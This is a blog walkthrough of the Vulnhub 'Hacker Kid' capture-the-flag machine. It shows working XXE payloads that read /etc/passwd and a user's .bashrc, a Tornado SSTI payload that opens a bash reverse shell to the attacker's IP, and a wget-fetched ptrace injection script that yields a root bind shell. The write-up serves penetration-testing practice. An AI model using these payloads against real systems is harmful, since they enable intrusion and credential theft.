Hacker Kid Walkthrough – Vulnhub

Hacker Kid is a very good machine from Vulnhub. This includes different techniques that we can utilize to get to the root shell of the target. This machine works in VMWare. So, let’s begin the walkthrough “Hacker Kid Walkthrough – Vulnhub”.

Link to the machine: https://www.vulnhub.com/entry/hacker-kid-101,719/

Identify the target

As usual, we have to start by finding the IP address of the target machine.

sudo netdiscover -r 192.168.19.0/24
The IP address of the target is 192.168.19.133

Scan open ports

Next, we have to scan for the exposed services of the target on the network.

sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.133 
Nmap scan result

We have a DNS service on port 53 and two HTTP servers running on ports 80 and 9999 available on the target.

Check the server running at port 80

On the homepage of the server, we see a hint that tells us to “Dig” more.

Home page

Since we have a DNS server, this makes sense because the binary “dig” is used for DNS enumeration. Next, when we check the page source, we get another hint.

Page source contains a hint

From the page source, we see that we might have a GET parameter “page_no”. So, by fuzzing the parameter, we can obtain the next hint. Here, we can use the burp suite’s intruder to do the job.

Position to fuzz
Payload to fuzz

When we start the attack, we find a page_no that has a different response size.

Then, when we visit the link, we find a new message at the end of the page.

New hint on the page

The hint says that we have some subdomains to enumerate. Likewise, it also gave us a subdomain that we have to use to dig further.

Finding another subdomain

Since we have a domain name, we have to add that in the “/etc/hosts” file.

Add an entry to /etc/hosts

For enumerating other subdomains, we can use the tool “dig”.

dig hackers.blackhat.local @192.168.19.133
Another subdomain found

We find a new subdomain that we should add to our “/etc/hosts” file once again. Next, if we visit the subdomain, we get a form.

A form on the new subdomain “hackerkid”

If we click the “Register” button, we see that the POST body is in XML format.

The request body is in XML format

Thus, we can try XXE (XML External Entity) Injection. I will show you what I meant.

Reference: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

When we type an invalid email, it reflects back the email as follows.

Email reflecting back

This gives us an idea that we can inject XXE into the request. Thus, I modified the payload as follows.

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name></name>
<tel></tel>
<email>

&xxe;</email>
<password></password>
</root>

XXE injection successfully performed

We can see from the screenshot above that the email is replaced by the content of the file “/etc/passwd”. Previously, the user has hinted about home. So, we can assume that there is something inside the home directory of the user “saket”. When I tried opening the .bashrc file, it failed. However, upon using PHP wrapper, we could get the content in base64 format. The payload would be as follows.

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name></name>
<tel></tel>
<email>

&xxe;</email>
<password></password>
</root>
Executed and decoded the base64 content

When we decoded the base64, we see a username and a password at the end of the file. Those were the credentials for the python web application. But, it didn’t allow me access. But, when I used “saket” instead of “admin”, I was able to enter the app with the same password.

Logged into the python application

Server Side Template Injection

In our initial nmap scan, we saw that the server at port 9999 is running Tornado which is a python web technology. Similarly, we see that the page is asking for a name. So, we can guess that there is a GET parameter “name” where we can pass the value. Let’s try that.

The functionality of the app is to return the name entered

We can see that it’s returning the same thing that I sent in the “name” parameter. Thus, we can try for a simple SSTI payload.

Reference: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python

SSTI is possible on the target

As we can see, the command is executed and we got the result 49 for 7*7. This means that we can inject a payload that would give us a reverse shell. Fortunately, it’s using Tornado and we can use a very simple payload to get a reverse shell. However, we should open a netcat listener.

nc -nlvp 9001

The payload to execute is as follows.

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.19.100/9001 0>&1"')}}

Of course, we have to URL-encode this and it would look as follows.

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.19.100%2F9001%200%3E%261%22%27%29%7D%7D

Upon executing this payload, I got shell access.

The shell of saket

Now, we have to upgrade the reverse shell.

Upgrade to an intelligent reverse shell

Root privilege escalation

The root privilege escalation is a fun part of this machine. Let’s check the capabilities of different binaries on the machine.

/sbin/getcap -r / 2>/dev/null
python2.7 has cap_sys_ptrace capability

It’s a piece of interesting information. This allows us the root shell. The following link describes it all.

Reference: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

For this, we have to identify a root process.

ps -eaf | grep root
Processes of the root user

Here, I am going to use the process id 931. There is an exploit code in the blog post that I have posted above. We have to keep this exploit on the target. Furthermore, it requires the PID of the process as an argument. After we execute the exploit, it creates a bind shell at port 5600. Thus, we can connect to the bind shell and get the root shell.

On the target, we execute as follows.


cd /tmp
wget https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
python2.7 inject.py 931
ss -tnlp
Port 5600 is listening for a bind shell

On my local machine, I can connect to the bind shell as follows.

nc 192.168.19.133 5600
Root shell
MD5 Checksum of /etc/shadow
5 2 votes
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments